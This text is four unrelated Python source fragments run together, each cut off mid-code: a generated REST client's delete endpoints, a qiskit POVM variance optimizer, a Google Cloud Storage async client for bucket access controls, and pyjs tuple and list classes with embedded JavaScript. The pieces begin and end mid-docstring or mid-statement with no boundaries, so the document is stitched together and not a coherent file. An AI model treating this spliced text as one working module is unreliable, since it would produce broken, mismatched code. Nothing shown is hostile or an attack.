of related entity up to 2nd level (for example title=='Some Title';description=='desc'). [optional] _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['id'] = \ id return self.call_with_http_info(**kwargs) self.delete_entity_users = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/entities/users/{id}', 'operation_id': 'delete_entity_users', 'http_method': 'DELETE', 'servers': None, }, params_map={ 'all': [ 'id', 'predicate', 'filter', ], 'required': [ 'id', ], 'nullable': [ ], 'enum': [ ], 'validation': [ 'id', ] }, root_map={ 'validations': { ('id',): { 'regex': { 'pattern': r'^[.A-Za-z0-9_-]{1,255}$', # noqa: E501 }, }, }, 'allowed_values': { }, 'openapi_types': { 'id': (str,), 'predicate': ({str: (bool, date, datetime, dict, float, int, list, str, none_type)},), 'filter': (str,), }, 'attribute_map': { 'id': 'id', 'predicate': 'predicate', 'filter': 'filter', }, 'location_map': { 'id': 'path', 'predicate': 'query', 'filter': 'query', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [], }, api_client=api_client, callable=__delete_entity_users ) def __delete_entity_workspaces( self, id, **kwargs ): """delete_entity_workspaces # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_entity_workspaces(id, async_req=True) >>> result = thread.get() Args: id (str): Keyword Args: predicate ({str: (bool, date, datetime, dict, float, int, list, str, none_type)}): Composed query parameters used for filtering. 'id' parameter can be used for all objects. Other parameters are present according to object type (title, description,...). You can specify any object parameter and parameter of related entity up to 2nd level (for example name=John&language=english,czech&address.city=London&father.id=123).. [optional] filter (str): Filtering parameter in RSQL. See https://github.com/jirutka/rsql-parser.You can specify any object parameter and parameter of related entity up to 2nd level (for example title=='Some Title';description=='desc'). [optional] _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the
<filename>povm/povm_optimizer.py """ A Montecarlo POVM optimizer """ import numpy as np import logging from .povm_operator import POVMOperator from qiskit import execute, Aer from qiskit.aqua import AquaError import cma from joblib import Parallel, delayed from time import time logger = logging.getLogger(__name__) class POVMResampler: """Classical estimator of performance of a POVM based on outcomes of another POVM""" def __init__(self, source_povm: POVMOperator, target_povm: POVMOperator): """ Args: source_povm (POVMOperator): POVM outcomes of which to be sampled from target_povm (POVMOperator): POVM performance of which to be estimated """ self._source = source_povm self._target = target_povm # Calculate the transformation matrices between POVMs self._c_matrices = np.array( [ self._convert_povm(self._source.povms[i], self._target.povms[i]) for i in range(self.num_qubits) ] ) @property def num_qubits(self): """The number of qubits on which the POVM is performed Returns: int: the number of qubits on which the POVM is performed """ return self._source._num_qubits def resample(self, result, shots_per_sample): """ Monte Carlo sample a target_povm based on results obtained with source_povm Args: result (qiskit.Result): the result from the backend obtained using source_povm shots_per_sample (int): number of Monte Carlo shots per real outcome sample Returns: sm (float): estimated second moment of target_povm """ qiskit_counts = result.get_counts() input_samples = {POVMOperator._simplify(k): v for k, v in qiskit_counts.items()} # Some quantities depending on c_matrices abs_c_matrices = np.abs(self._c_matrices) sum_abs_c_matrices = np.sum(abs_c_matrices, axis=1) probs_mat = abs_c_matrices / sum_abs_c_matrices[:, np.newaxis, :] # Simulate outcomes with target POVM based on source POVM samples = {} for sample, counts in input_samples.items(): for _ in range(shots_per_sample * counts): simulated_outcome = "" beta = 1.0 for q in range(len(sample)): outcome = int(sample[self.num_qubits - 1 - q]) # Outcome on qubit q decided via importance sampling so = self._fast_sampler(probs_mat[q, :, outcome]) simulated_outcome += str(so) # beta is the weighted contribution to the integral # corrected by the sample probability beta *= ( np.sign(self._c_matrices[q, so, outcome]) * sum_abs_c_matrices[q, outcome] ) # Reverse order of string to make Qiskit-compatible simulated_outcome = "".join( [ simulated_outcome[self.num_qubits - 1 - a] for a in range(len(simulated_outcome)) ] ) # Store results in self.samples as a dictionary containing beta for each simulated outcome if simulated_outcome not in samples: samples[simulated_outcome] = 0 samples[simulated_outcome] += beta _, sm = self._target.estimate_moments(samples) return sm @staticmethod def _fast_sampler(probs): """Faster than np.random.choice""" s_index = -1 ps = 0.0 p = np.random.rand() while ps < p: s_index += 1 ps += probs[s_index] return s_index @staticmethod def _convert_povm(source_povm, target_povm): """ Get decomposition of target_povm in terms of source_povm Returns: Array of size (4,4) """ non_zero_povm = [ i for i, p in enumerate(source_povm) if not np.isclose(p, np.zeros((2, 2))).all() ] r = len(non_zero_povm) if r < 4: print(r) A = np.zeros((r, r)) for i, ii in enumerate(non_zero_povm): for j, ij in enumerate(non_zero_povm): A[i, j] = np.real(np.trace(source_povm[ii] @ source_povm[ij])) decomp = np.zeros((4, 4)) for it in range(len(target_povm)): B = np.zeros(r) for i, ii in enumerate(non_zero_povm): B[i] = np.real(np.trace(target_povm[it] @ source_povm[ii])) d = np.linalg.solve(A, B) for i, ii in enumerate(non_zero_povm): decomp[it][ii] = d[i] return decomp class POVMOptimizer: """ Classically optimize a n-qubit POVM to reduce the estimation variance, given a quantum circuit """ def __init__(self, povm_op, result, shots_per_sample=1): """ Args: povm_op (POVMOperator): A POVMOperator object to be optimized result (qiskit.Result): the result from the backend obtained using existing POVM shots_per_sample (int): number of Monte Carlo shots per real outcome sample """ self.povm_op = povm_op self.result = result self.shots_per_sample = shots_per_sample self._max_attempts = 100 self._optimal_params = None # Store the mean from the initial estimation self._mean, _ = self.povm_op.evaluate_with_result(self.result, False) def optimize(self, tolfun=1e-5, max_iter=100, initial_var=0.02, n_jobs=None): r""" Finds a POVM with minimal variance using CMA-ES strategy. The minimization is parallelized using joblib. The optimal POVMOperator can be retrieved with `POVMOptimizer.optimal_povm`. Args: tolfun (float, optional): Tolerance of the minimization. Defaults to 1e-5. max_iter (int, optional): maximum number of iterations. Defaults to 100. initial_var (float, optional): initial variance for CMA. Defaults to 0.02. n_jobs (int, optional): Number of parallel jobs. If -1, use all the available CPUs, if None or 1, don't use parallelization. Defaults to None. """ es = cma.CMAEvolutionStrategy( self.povm_op.param_array, initial_var, dict(verbose=1, tolfun=tolfun, bounds=[0.001, 0.999]), ) with Parallel(n_jobs=n_jobs) as parallel: for _ in range(max_iter): if not es.stop(): solutions = es.ask() answers = parallel( delayed(self.estimate_variance)(sol) for sol in solutions ) # answers = [self.estimate_second_moment(sol) for sol in solutions] # answers = parallel_map(self.estimate_second_moment, # solutions, # num_processes=aqua_globals.num_processes) es.tell(solutions, answers) es.disp() self._optimal_params = es.best.x else: print("Optimization converged.") @property def optimal_povm(self): """ Returns: (POVMOperator): Most optimal POVM obtained so far """ if self._optimal_params is None: return AquaError("Run optimize first!") else: return POVMOperator(self.povm_op.paulis, povm_params=self._optimal_params) def estimate_variance(self, povm_params): """Returns the estimated variance for the POVM defined by povm_params to use in the optimisation. Args: povm_params (array or list): the parameter array of the POVM Returns: float: the estimated variance of the new POVM Remarks: Given that a few-shots calculation can yield an estimated second moment smaller than the squared mean, we return a very large value if that happens. """ target_povm = POVMOperator(self.povm_op.paulis, povm_params=povm_params) resampler = POVMResampler(self.povm_op, target_povm) for _ in range(self._max_attempts): second_moment = resampler.resample(self.result, self.shots_per_sample) if second_moment > self._mean ** 2: var = np.sqrt(second_moment - self._mean ** 2) return var # We kept getting wrong estimation of the variance, return a large number return 1e6 class GradientDescentOptimizer: def __init__( self, qc, initial_povm_op, max_shots=1e5, initial_shots=100, shot_increment=100, initial_nu=5e-2, nu_factor=1.3, update_frequency=3, increment=1e-3, parameter_threshold=0.005, exact_value=None, seed=None, backend=Aer.get_backend("qasm_simulator"), ): # Set configuration parameters self.qc = qc self.initial_povm_op = initial_povm_op self.max_shots = max_shots self.initial_shots = initial_shots self.shot_increment = shot_increment self.initial_nu = initial_nu self.nu_factor = nu_factor self.update_frequency = update_frequency self.increment = increment self.exact_value = exact_value self.seed = seed self.backend = backend self.parameter_threshold = parameter_threshold # Set state variables self.shots = self.initial_shots self.nu = self.initial_nu self.total_shots = 0 self.step = 0 self.povm_params = self.initial_povm_op.param_array.copy() self.est_mean = None self.est_var = None def run_step(self, return_counts=False): if self.total_shots >= self.max_shots: # TODO: maybe raise an exception return None self.step += 1 # Update parameters if necessary if self.step % self.update_frequency == 0: self.shots += self.shot_increment self.nu /= self.nu_factor self.shots = int(min(self.shots, self.max_shots - self.total_shots)) self.total_shots += self.shots # Get data from quantum computer povm_op = POVMOperator(self.initial_povm_op, povm_params=self.povm_params) povm_qc = povm_op.construct_evaluation_circuit(self.qc, False) if self.step == 1: logger.info("Step\tShots\tstep_size\tMean\tSte\tError\tTime Q\tTime C") logger.info( "--------------------------------------------------------------------------" ) logger.debug("Operator created") start = time() result = execute( povm_qc, backend=self.backend, seed_simulator=self.seed + self.step if self.seed is not None else None, shots=self.shots, ).result() elapsed_qc = time() - start logger.debug("Quantum circuit run in %.2f", elapsed_qc) start = time() # Evaluate sample mean and ste from the counts sample_mean, sample_mean_ste = povm_op.evaluate_with_result(result, False) logger.debug("Result evaluated") # Update the estimator with the new estimates sample_est_var = sample_mean_ste ** 2 if self.step == 1: self.est_mean = sample_mean self.est_var = sample_mean_ste ** 2 else: alpha = self.est_var / (self.est_var + sample_est_var) self.est_mean = alpha * sample_mean + (1.0 - alpha) * self.est_mean self.est_var = ( alpha ** 2 * sample_est_var + (1.0 - alpha) ** 2 * self.est_var ) # er = f"{np.abs(est_mean - exact_value):.3f}" if self.exact_value else "-" # Calculate gradient grad = povm_op.estimate_variance_gradient(result, self.increment) elapsed_grad = time() - start logger.debug("Gradient calculated in %.2f", elapsed_grad) # Perform the gradient descent # The parameters are clipped between 0 and 1 self.old_povm_params = self.povm_params self.povm_params = np.clip( self.povm_params - self.nu * grad / np.max(np.abs(grad)), 0.0 + self.parameter_threshold, 1.0 - self.parameter_threshold, ) step_result = { "qubits": self.initial_povm_op.num_qubits, "true": self.exact_value, "estimate": self.est_mean, "estimated_error": np.sqrt(self.est_var), "error": np.abs(self.est_mean - self.exact_value) if self.exact_value else None, "nu": self.nu, "step": self.step, "circuits": 1, "shots_per_circuit": self.total_shots, "shots": self.total_shots, "povm_params": list(self.old_povm_params), "time_qc": elapsed_qc, "time_post": elapsed_grad, } logger.info( "%3d\t%6d\t%.3f\t\t%.3f\t%.3f\t%s\t%.1f\t%.1f", step_result["step"], step_result["shots"], step_result["nu"], step_result["estimate"], step_result["estimated_error"], step_result["error"], step_result["time_qc"], step_result["time_post"], ) if return_counts: step_result["counts"] = result.get_counts() return step_result def gradient_descent_optimize( qc, initial_povm_op, max_shots=1e5, initial_shots=100, shot_increment=100, initial_nu=5e-2, nu_factor=1.3, update_frequency=3, increment=1e-3, exact_value=None, seed=None, backend=Aer.get_backend("qasm_simulator"), ): """Iteratively optimize the POVM measurement for estimating the expectation value of given operator on a quantum circuit, using a gradient descent method. At each iteration, shots are collected from a backend. All the shots are then used to build an estimation for the expectation value of the operator. The function uses an exponentially decreasing schedule for the
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from collections import OrderedDict import functools import re from typing import Dict, AsyncIterable, Awaitable, AsyncIterator, Sequence, Tuple, Type, Union import pkg_resources import google.api_core.client_options as ClientOptions # type: ignore from google.api_core import exceptions as core_exceptions # type: ignore from google.api_core import gapic_v1 # type: ignore from google.api_core import retry as retries # type: ignore from google.auth import credentials as ga_credentials # type: ignore from google.oauth2 import service_account # type: ignore from google.iam.v1 import iam_policy_pb2 # type: ignore from google.iam.v1 import policy_pb2 # type: ignore from google.protobuf import timestamp_pb2 # type: ignore from google.protobuf import wrappers_pb2 # type: ignore from google.storage_v1.services.storage import pagers from google.storage_v1.types import storage from google.storage_v1.types import storage_resources from .transports.base import StorageTransport, DEFAULT_CLIENT_INFO from .transports.grpc_asyncio import StorageGrpcAsyncIOTransport from .client import StorageClient class StorageAsyncClient: """Manages Google Cloud Storage resources.""" _client: StorageClient DEFAULT_ENDPOINT = StorageClient.DEFAULT_ENDPOINT DEFAULT_MTLS_ENDPOINT = StorageClient.DEFAULT_MTLS_ENDPOINT common_billing_account_path = staticmethod(StorageClient.common_billing_account_path) parse_common_billing_account_path = staticmethod(StorageClient.parse_common_billing_account_path) common_folder_path = staticmethod(StorageClient.common_folder_path) parse_common_folder_path = staticmethod(StorageClient.parse_common_folder_path) common_organization_path = staticmethod(StorageClient.common_organization_path) parse_common_organization_path = staticmethod(StorageClient.parse_common_organization_path) common_project_path = staticmethod(StorageClient.common_project_path) parse_common_project_path = staticmethod(StorageClient.parse_common_project_path) common_location_path = staticmethod(StorageClient.common_location_path) parse_common_location_path = staticmethod(StorageClient.parse_common_location_path) @classmethod def from_service_account_info(cls, info: dict, *args, **kwargs): """Creates an instance of this client using the provided credentials info. Args: info (dict): The service account private key info. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: StorageAsyncClient: The constructed client. """ return StorageClient.from_service_account_info.__func__(StorageAsyncClient, info, *args, **kwargs) # type: ignore @classmethod def from_service_account_file(cls, filename: str, *args, **kwargs): """Creates an instance of this client using the provided credentials file. Args: filename (str): The path to the service account private key json file. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: StorageAsyncClient: The constructed client. """ return StorageClient.from_service_account_file.__func__(StorageAsyncClient, filename, *args, **kwargs) # type: ignore from_service_account_json = from_service_account_file @property def transport(self) -> StorageTransport: """Returns the transport used by the client instance. Returns: StorageTransport: The transport used by the client instance. """ return self._client.transport get_transport_class = functools.partial(type(StorageClient).get_transport_class, type(StorageClient)) def __init__(self, *, credentials: ga_credentials.Credentials = None, transport: Union[str, StorageTransport] = "grpc_asyncio", client_options: ClientOptions = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, ) -> None: """Instantiates the storage client. Args: credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. transport (Union[str, ~.StorageTransport]): The transport to use. If set to None, a transport is chosen automatically. client_options (ClientOptions): Custom options for the client. It won't take effect if a ``transport`` instance is provided. (1) The ``api_endpoint`` property can be used to override the default endpoint provided by the client. GOOGLE_API_USE_MTLS_ENDPOINT environment variable can also be used to override the endpoint: "always" (always use the default mTLS endpoint), "never" (always use the default regular endpoint) and "auto" (auto switch to the default mTLS endpoint if client certificate is present, this is the default value). However, the ``api_endpoint`` property takes precedence if provided. (2) If GOOGLE_API_USE_CLIENT_CERTIFICATE environment variable is "true", then the ``client_cert_source`` property can be used to provide client certificate for mutual TLS transport. If not provided, the default SSL client certificate will be used if present. If GOOGLE_API_USE_CLIENT_CERTIFICATE is "false" or not set, no client certificate will be used. Raises: google.auth.exceptions.MutualTlsChannelError: If mutual TLS transport creation failed for any reason. """ self._client = StorageClient( credentials=credentials, transport=transport, client_options=client_options, client_info=client_info, ) async def delete_bucket_access_control(self, request: storage.DeleteBucketAccessControlRequest = None, *, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> None: r"""Permanently deletes the ACL entry for the specified entity on the specified bucket. Args: request (:class:`google.storage_v1.types.DeleteBucketAccessControlRequest`): The request object. Request message for DeleteBucketAccessControl. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ # Create or coerce a protobuf request object. request = storage.DeleteBucketAccessControlRequest(request) # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.delete_bucket_access_control, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Send the request. await rpc( request, retry=retry, timeout=timeout, metadata=metadata, ) async def get_bucket_access_control(self, request: storage.GetBucketAccessControlRequest = None, *, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> storage_resources.BucketAccessControl: r"""Returns the ACL entry for the specified entity on the specified bucket. Args: request (:class:`google.storage_v1.types.GetBucketAccessControlRequest`): The request object. Request message for GetBucketAccessControl. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.storage_v1.types.BucketAccessControl: An access-control entry. """ # Create or coerce a protobuf request object. request = storage.GetBucketAccessControlRequest(request) # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.get_bucket_access_control, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Send the request. response = await rpc( request, retry=retry, timeout=timeout, metadata=metadata, ) # Done; return the response. return response async def insert_bucket_access_control(self, request: storage.InsertBucketAccessControlRequest = None, *, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> storage_resources.BucketAccessControl: r"""Creates a new ACL entry on the specified bucket. Args: request (:class:`google.storage_v1.types.InsertBucketAccessControlRequest`): The request object. Request message for InsertBucketAccessControl. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.storage_v1.types.BucketAccessControl: An access-control entry. """ # Create or coerce a protobuf request object. request = storage.InsertBucketAccessControlRequest(request) # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.insert_bucket_access_control, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Send the request. response = await rpc( request, retry=retry, timeout=timeout, metadata=metadata, ) # Done; return the response. return response async def list_bucket_access_controls(self, request: storage.ListBucketAccessControlsRequest = None, *, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> storage_resources.ListBucketAccessControlsResponse: r"""Retrieves ACL entries on the specified bucket. Args: request (:class:`google.storage_v1.types.ListBucketAccessControlsRequest`): The request object. Request message for ListBucketAccessControl. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.storage_v1.types.ListBucketAccessControlsResponse: The response to a call to BucketAccessControls.ListBucketAccessControls. """ # Create or coerce a protobuf request object. request = storage.ListBucketAccessControlsRequest(request) # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.list_bucket_access_controls, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Send the request. response = await rpc( request, retry=retry, timeout=timeout, metadata=metadata, ) # Done; return the response. return response async def update_bucket_access_control(self, request: storage.UpdateBucketAccessControlRequest = None, *, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> storage_resources.BucketAccessControl: r"""Updates an ACL entry on the specified bucket. Equivalent to PatchBucketAccessControl, but all unspecified fields will be reset to their default values. Args: request (:class:`google.storage_v1.types.UpdateBucketAccessControlRequest`): The request object. Request for UpdateBucketAccessControl. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.storage_v1.types.BucketAccessControl: An access-control entry. """ # Create or coerce a protobuf request object. request = storage.UpdateBucketAccessControlRequest(request) # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.update_bucket_access_control, default_timeout=None, client_info=DEFAULT_CLIENT_INFO, ) # Send the request. response = await
end of the tuple class definition def __repr__(self): if callable(self): return "<type '%s'>" % self.__name__ JS(""" var s = "("; for (var i=0; i < @{{self}}['__array']['length']; i++) { s += @{{repr}}(@{{self}}['__array'][i]); if (i < @{{self}}['__array']['length'] - 1) s += ", "; } if (@{{self}}['__array']['length'] == 1) s += ","; s += ")"; return s; """) def __add__(self, y): if not isinstance(y, self): raise TypeError("can only concatenate tuple to tuple") return tuple(self.__array.concat(y.__array)) def __mul__(self, n): if not JS("@{{n}} !== null && @{{n}}['__number__'] && (@{{n}}['__number__'] != 0x01 || isFinite(@{{n}}))"): raise TypeError("can't multiply sequence by non-int") a = [] while n: n -= 1 a.extend(self.__array) return a def __rmul__(self, n): return self.__mul__(n) JS("@{{tuple}}['__str__'] = @{{tuple}}['__repr__'];") JS("@{{tuple}}['toString'] = @{{tuple}}['__str__'];") class NotImplementedType(object): def __repr__(self): return "<type 'NotImplementedType'>" def __str__(self): self.__repr__() def toString(self): self.__repr__() NotImplemented = NotImplementedType() JS(""" var $iter_array = function (l) { this['__array'] = l; this['i'] = -1; }; $iter_array['prototype']['next'] = function (noStop) { if (++this['i'] == this['__array']['length']) { if (noStop === true) { return; } throw @{{StopIteration}}(); } return this['__array'][this['i']]; }; $iter_array['prototype']['__iter__'] = function ( ) { return this; }; var $reversed_iter_array = function (l) { this['___array'] = l; this['i'] = l['length']; }; $reversed_iter_array['prototype']['next'] = function (noStop) { if (--this['i'] == -1) { if (noStop === true) { return; } throw @{{StopIteration}}(); } return this['___array'][this['i']]; }; $reversed_iter_array['prototype']['__iter__'] = function ( ) { return this; }; //$reversed_iter_array['prototype']['$genfunc'] = $reversed_iter_array['prototype']['next']; var $enumerate_array = function (l) { this['array'] = l; this['i'] = -1; this['tuple'] = """) tuple([0, ""]) JS(""" this['tl'] = this['tuple']['__array']; }; $enumerate_array['prototype']['next'] = function (noStop, reuseTuple) { if (++this['i'] == this['array']['length']) { if (noStop === true) { return; } throw @{{StopIteration}}(); } this['tl'][1] = this['array'][this['i']]; if (this['tl'][0]['__number__'] == 0x01) { this['tl'][0] = this['i']; } else { this['tl'][0] = new @{{int}}(this['i']); } return reuseTuple === true ? this['tuple'] : @{{tuple}}(this['tl']); }; $enumerate_array['prototype']['__iter__'] = function ( ) { return this; }; $enumerate_array['prototype']['$genfunc'] = $enumerate_array['prototype']['next']; """) # NOTE: $genfunc is defined to enable faster loop code class list: def __init__(self, data=JS("[]")): # Basically the same as extend, but to save expensive function calls... JS(""" if (@{{data}} === null) { throw @{{TypeError}}("'NoneType' is not iterable"); } if (@{{data}}['constructor'] === Array) { @{{self}}['__array'] = @{{data}}['slice'](); return null; } if (typeof @{{data}}['__iter__'] == 'function') { if (typeof @{{data}}['__array'] == 'object') { @{{self}}['__array'] = @{{data}}['__array']['slice'](); return null; } var iter = @{{data}}['__iter__'](); if (typeof iter['__array'] == 'object') { @{{self}}['__array'] = iter['__array']['slice'](); return null; } @{{data}} = []; var item, i = 0; if (typeof iter['$genfunc'] == 'function') { while (typeof (item=iter['next'](true)) != 'undefined') { @{{data}}[i++] = item; } } else { try { while (true) { @{{data}}[i++] = iter['next'](); } } catch (e) { if (!@{{isinstance}}(e, @{{StopIteration}})) throw e; } } @{{self}}['__array'] = @{{data}}; return null; } throw @{{TypeError}}("'" + @{{repr}}(@{{data}}) + "' is not iterable"); """) def __hash__(self): raise TypeError("list objects are unhashable") def append(self, item): JS("""@{{self}}['__array'][@{{self}}['__array']['length']] = @{{item}};""") # extend in place, just in case there's somewhere a shortcut to self.__array def extend(self, data): # Transform data into an array and append to self.__array JS(""" if (@{{data}} === null) { throw @{{TypeError}}("'NoneType' is not iterable"); } if (@{{data}}['constructor'] === Array) { } else if (typeof @{{data}}['__iter__'] == 'function') { if (typeof @{{data}}['__array'] == 'object') { @{{data}} = @{{data}}['__array']; } else { var iter = @{{data}}['__iter__'](); if (typeof iter['__array'] == 'object') { @{{data}} = iter['__array']; } @{{data}} = []; var item, i = 0; if (typeof iter['$genfunc'] == 'function') { while (typeof (item=iter['next'](true)) != 'undefined') { @{{data}}[i++] = item; } } else { try { while (true) { @{{data}}[i++] = iter['next'](); } } catch (e) { if (!@{{isinstance}}(e, @{{StopIteration}})) throw e; } } } } else { throw @{{TypeError}}("'" + @{{repr}}(@{{data}}) + "' is not iterable"); } var l = @{{self}}['__array']; var j = @{{self}}['__array']['length']; var n = @{{data}}['length'], i = 0; while (i < n) { l[j++] = @{{data}}[i++]; } """) def remove(self, value): JS(""" var index=@{{self}}['index'](@{{value}}); if (index<0) { throw @{{ValueError}}("list['remove'](x): x not in list"); } @{{self}}['__array']['splice'](index, 1); return true; """) def index(self, value, _start=0): JS(""" var start = @{{_start}}['valueOf'](); /* if (typeof valueXXX == 'number' || typeof valueXXX == 'string') { start = selfXXX['__array']['indexOf'](valueXXX, start); if (start >= 0) return start; } else */ { var len = @{{self}}['__array']['length'] >>> 0; start = (start < 0) ? Math['ceil'](start) : Math['floor'](start); if (start < 0) start += len; for (; start < len; start++) { if ( /*start in selfXXX['__array'] && */ @{{cmp}}(@{{self}}['__array'][start], @{{value}}) == 0) return start; } } """) raise ValueError("list.index(x): x not in list") def insert(self, index, value): JS(""" var a = @{{self}}['__array']; @{{self}}['__array']=a['slice'](0, @{{index}})['concat'](@{{value}}, a['slice'](@{{index}}));""") def pop(self, _index = -1): JS(""" var index = @{{_index}}['valueOf'](); if (index<0) index += @{{self}}['__array']['length']; if (index < 0 || index >= @{{self}}['__array']['length']) { if (@{{self}}['__array']['length'] == 0) { throw @{{IndexError}}("pop from empty list"); } throw @{{IndexError}}("pop index out of range"); } var a = @{{self}}['__array'][index]; @{{self}}['__array']['splice'](index, 1); return a; """) def __cmp__(self, l): if not isinstance(l, list): return -1 JS(""" var n1 = @{{self}}['__array']['length'], n2 = @{{l}}['__array']['length'], a1 = @{{self}}['__array'], a2 = @{{l}}['__array'], n, c; n = (n1 < n2 ? n1 : n2); for (var i = 0; i < n; i++) { c = @{{cmp}}(a1[i], a2[i]); if (c) return c; } if (n1 < n2) return -1; if (n1 > n2) return 1; return 0;""") def __getslice__(self, lower, upper): JS(""" if (@{{upper}}==null) return @{{list}}(@{{self}}['__array']['slice'](@{{lower}})); return @{{list}}(@{{self}}['__array']['slice'](@{{lower}}, @{{upper}})); """) def __delslice__(self, _lower, upper): JS(""" var lower = @{{_lower}}; var n = @{{upper}} - lower; if (@{{upper}}==null) { n = @{{self}}['__array']['length']; } if (!lower) lower = 0; if (n > 0) @{{self}}['__array']['splice'](lower, n); """) return None def __setslice__(self, lower, upper, data): self.__delslice__(lower, upper) tail = self.__getslice__(lower, None) self.__delslice__(lower, None) self.extend(data) self.extend(tail) return None def __getitem__(self, _index): JS(""" var index = @{{_index}}['valueOf'](); if (typeof index == 'boolean') index = @{{int}}(index); if (index < 0) index += @{{self}}['__array']['length']; if (index < 0 || index >= @{{self}}['__array']['length']) { throw @{{IndexError}}("list index out of range"); } return @{{self}}['__array'][index]; """) def __setitem__(self, _index, value): JS(""" var index = @{{_index}}['valueOf'](); if (index < 0) index += @{{self}}['__array']['length']; if (index < 0 || index >= @{{self}}['__array']['length']) { throw @{{IndexError}}("list assignment index out of range"); } @{{self}}['__array'][index]=@{{value}}; """) def __delitem__(self, _index): JS(""" var index = @{{_index}}['valueOf'](); if (index < 0) index += @{{self}}['__array']['length']; if (index < 0 || index >= @{{self}}['__array']['length']) { throw @{{IndexError}}("list assignment index out of range"); } @{{self}}['__array']['splice'](index, 1); """) def __len__(self): return INT(JS("""@{{self}}['__array']['length']""")) def __contains__(self, value): try: self.index(value) except ValueError: return False return True def __iter__(self): return JS("new $iter_array(@{{self}}['__array'])") def __reversed__(self): return JS("new $reversed_iter_array(@{{self}}['__array'])") def __enumerate__(self): return JS("new $enumerate_array(@{{self}}['__array'])") def reverse(self): JS(""" @{{self}}['__array']['reverse']();""") def sort(self, cmp=None, key=None, reverse=False): if cmp is None: cmp = __cmp if key and reverse: def thisSort1(a,b): return -cmp(key(a), key(b)) self.__array.sort(thisSort1) elif key: def thisSort2(a,b): return cmp(key(a), key(b)) self.__array.sort(thisSort2) elif reverse: def thisSort3(a,b): return -cmp(a, b) self.__array.sort(thisSort3) else: self.__array.sort(cmp) def getArray(self): """ Access the javascript Array that is used internally by this list """ return self.__array #def __str__(self): # return self.__repr__() #See monkey patch at the end of the list class definition def __repr__(self): if callable(self): return "<type '%s'>" % self.__name__ 